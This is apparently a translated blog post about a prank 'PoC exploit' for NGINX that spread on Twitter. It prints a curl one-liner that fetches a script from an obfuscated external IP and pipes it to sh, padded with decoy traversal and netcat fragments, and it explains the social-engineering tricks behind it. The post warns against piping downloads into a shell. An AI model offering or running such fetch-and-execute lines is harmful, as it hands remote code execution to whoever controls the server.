Noter. trad.:
TL;DR : n'utilisez en aucun cas le pipeline de fichiers dans sh ou bash. C'est un excellent moyen de perdre le contrôle de votre ordinateur.
Je souhaite partager avec vous une courte histoire sur un exploit PoC comique créé le 31 mai. Il est apparu rapidement en réponse aux nouvelles de
Ayant fini de travailler sur une nouvelle technique d’obscurcissement dans curl, j’ai cité le tweet original et « divulgué un PoC fonctionnel » composé d’une seule ligne de code censée exploiter la vulnérabilité découverte. Bien sûr, c’était complètement absurde. J’ai supposé que je serais immédiatement exposé et qu’au mieux j’obtiendrais quelques retweets (eh bien).
Cependant, je ne pouvais pas imaginer ce qui s'est passé ensuite. La popularité de mon tweet est montée en flèche. Étonnamment, à l'heure actuelle (15h00, heure de Moscou, le 1er juin), peu de gens se rendent compte qu'il s'agit d'un faux. Beaucoup de gens le retweetent sans le vérifier du tout (et encore moins en admirant les jolis graphiques ASCII qu'il produit).
Regardez comme c'est beau !
Bien que toutes ces boucles et couleurs soient superbes, il est clair que les gens ont dû exécuter du code sur leur machine pour les voir. Heureusement, les navigateurs fonctionnent de la même manière, et combiné au fait que je ne voulais pas vraiment avoir de problèmes juridiques, le code enfoui dans mon site faisait simplement des appels d'écho sans tenter d'installer ou d'exécuter du code supplémentaire.
Une petite digression:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
Ingénierie socio-électronique (SEE) : plus qu'un simple phishing
La sécurité et la familiarité constituaient un élément majeur de cette expérience. Je pense que c'est ce qui a conduit à son succès. La ligne de commande impliquait clairement la sécurité en faisant référence à "127.0.0.1" (le localhost bien connu). Localhost est considéré comme sécurisé et les données qu'il contient ne quittent jamais votre ordinateur.
La familiarité était le deuxième élément clé de SEE de l’expérience. Étant donné que le public cible était principalement constitué de personnes familiarisées avec les bases de la sécurité informatique, il était important de créer du code de manière à ce que certaines parties de celui-ci paraissent familières et familières (et donc sûres). Emprunter des éléments d’anciens concepts d’exploit et les combiner de manière inhabituelle s’est avéré très efficace.
Vous trouverez ci-dessous une analyse détaillée du one-liner. Tout sur cette liste porte nature cosmétique, et pratiquement rien n'est requis pour son fonctionnement réel.
Quels composants sont réellement nécessaires ? Ce -gsS
, -O 0x0238f06a
, |sh
et le serveur Web lui-même. Le serveur Web ne contenait aucune instruction malveillante, mais servait simplement des graphiques ASCII à l'aide de commandes echo
dans le script contenu dans index.html
. Lorsque l'utilisateur a saisi une ligne avec |sh
au milieu, index.html
chargé et exécuté. Heureusement, les gardiens du serveur Web n’avaient aucune mauvaise intention.
-
../../../%00
— représente un dépassement du répertoire ; -
ngx_stream_module.so
— chemin vers un module NGINX aléatoire ; -
/bin/sh%00<'protocol:TCP'
- nous sommes censés lancer/bin/sh
sur la machine cible et rediriger la sortie vers le canal TCP ; -
-O 0x0238f06a#PLToffset
- ingrédient secret, complété#PLToffset
, pour ressembler à un décalage de mémoire contenu d'une manière ou d'une autre dans le PLT ; -
|sh;
- un autre fragment important. Nous devions rediriger la sortie vers sh/bash afin d'exécuter le code provenant du serveur Web attaquant situé à l'adresse0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- un mannequin dans lequel netcat fait référence/dev/tcp/localhost
pour que tout semble à nouveau en sécurité. En fait, il ne fait rien et fait partie de la gamme beauté.
Ceci conclut le décodage du script d’une ligne et la discussion des aspects de « l’ingénierie socio-électronique » (hameçonnage complexe).
Configuration du serveur Web et contre-mesures
Comme la grande majorité de mes abonnés sont des infosec/hackers, j'ai décidé de rendre le serveur web un peu plus résistant aux expressions « d'intérêt » de leur part, juste pour que les gars aient quelque chose à faire (et ce serait amusant de le faire). installation). Je ne vais pas lister ici tous les pièges puisque l'expérience est toujours en cours, mais voici quelques actions du serveur :
- Surveille activement les tentatives de diffusion sur certains réseaux sociaux et substitue diverses vignettes d'aperçu pour inciter l'utilisateur à cliquer sur le lien.
- Redirige Chrome/Mozilla/Safari/etc vers la vidéo promotionnelle Thugcrowd au lieu d'afficher le script shell.
- Surveille les signes évidents d'intrusion/de piratage flagrant, puis commence à rediriger les requêtes vers les serveurs de la NSA (ha !).
- Installe un cheval de Troie, ainsi qu'un rootkit du BIOS, sur tous les ordinateurs dont les utilisateurs visitent l'hôte à partir d'un navigateur classique (je plaisante !).
Une petite partie d'antimères
Dans ce cas, mon seul objectif était de maîtriser certaines fonctionnalités d'Apache - en particulier les règles intéressantes de redirection des requêtes - et je me suis dit : pourquoi pas ?
Exploit NGINX (réel !)
Abonnez-vous à
Source: habr.com